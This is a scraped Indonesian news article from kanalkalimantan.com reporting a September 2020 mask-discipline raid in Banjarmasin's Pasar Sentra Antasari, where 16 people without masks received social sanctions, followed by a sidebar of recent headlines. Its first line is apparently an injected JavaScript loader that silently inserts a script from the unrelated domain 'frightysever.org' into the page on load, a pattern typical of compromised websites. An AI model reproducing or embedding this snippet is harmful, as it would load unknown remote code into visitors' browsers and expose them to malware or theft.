(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Kabur Kala Aparat Razia Protokol Kesehatan, Kapolsek: Pendekatan Humanis Bukan Tindak Pidana


KANALKALIMANTAN.COM, BANJARMASIN – Memasuki hari kedua razia penegakan disiplin protokol kesehatan sesuai Perwali Banjarmasin Nomor 68 Tahun 2020, didapati warga yang tidak menggunakan masker.

Ini terlihat saat aparat gabungan dari unsur TNI, Polri, Satpol PP, BPBD dan Dishub Kota Banjarmasin melakukan razia di Pasar Sentra Antasari, Jalan Pangeran Antasari Banjarmasin, Rabu (2/9/2020) pagi.

Pantauan di lokasi, beberapa warga yang berada di dalam lingkungan pasar maupun yang melintas di jalan Pangeran Antasari, masih ada yang tidak menggunakan masker. Bahkan, salah seorang pengendara roda dua yang tak menggunakan masker, nekad menembus penjagaan aparat dan berhasil lolos masuk ke lingkungan Pasar Sentra Antasari.

“Ada beberapa masyarakat juga yang mungkin takut, sehingga berusaha untuk kabur dan menghindari kita (aparat),” aku Kapolsek Banjarmasin Tengah Kompol Irwan Kurnadi yang memimpin penertiban.

Namun begitu, Irwan memastikan bahwa upaya penegakan disiplin protokol kesehatan ini bersifat humanis. Artinya, tidak ada paksaan untuk masyarakat, sehingga cukup untuk ditegur saja. “Karena mereka hanyalah pelanggar, bukan pelaku tindak pidana,” imbuh Irwan.

Disamping itu, Irwan mengatakan, mayoritas masyarakat yang terjaring tak menggunakan masker beralasan sama dengan hari sebelumnya. Yaitu masih ada yang mengaku lupa menggunakan masker.

“Ada juga yang mengaku malas menggunakan masker, dan juga ada yang terbiasa tidak memakai. Tetapi rata-rata mereka sudah mengetahui semua penerapan Perwali ini,” terang Irwan. Berdasarkan catatan, Irwan menyebut ada 16 orang yang terjaring razia masker. Seluruhnya didapati tidak menggunakan masker.

Sanksi yang diberikan pun seluruhnya dikenakan sanksi sosial, yaitu menyapu lingkungan pasar. “Kedepan, kita masih akan melakukan penindakan,” tandas Irwan. Sementara itu, seorang warga bernama Erna kedapatan petugas tak menggunakan masker. Ia pun mengaku tak memiliki satu pun masker.

“Saya tak punya masker selama beberapa bulan ini,” kata wanita berperawakan kecil ini. Kendati mendapatkan sanksi sosial, Erna pun diberikan masker oleh aparat. “Iya, saya baru kali ini,” pungkasnya. (kanalkalimantan.com/fikri)

 

 

Reporter: Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.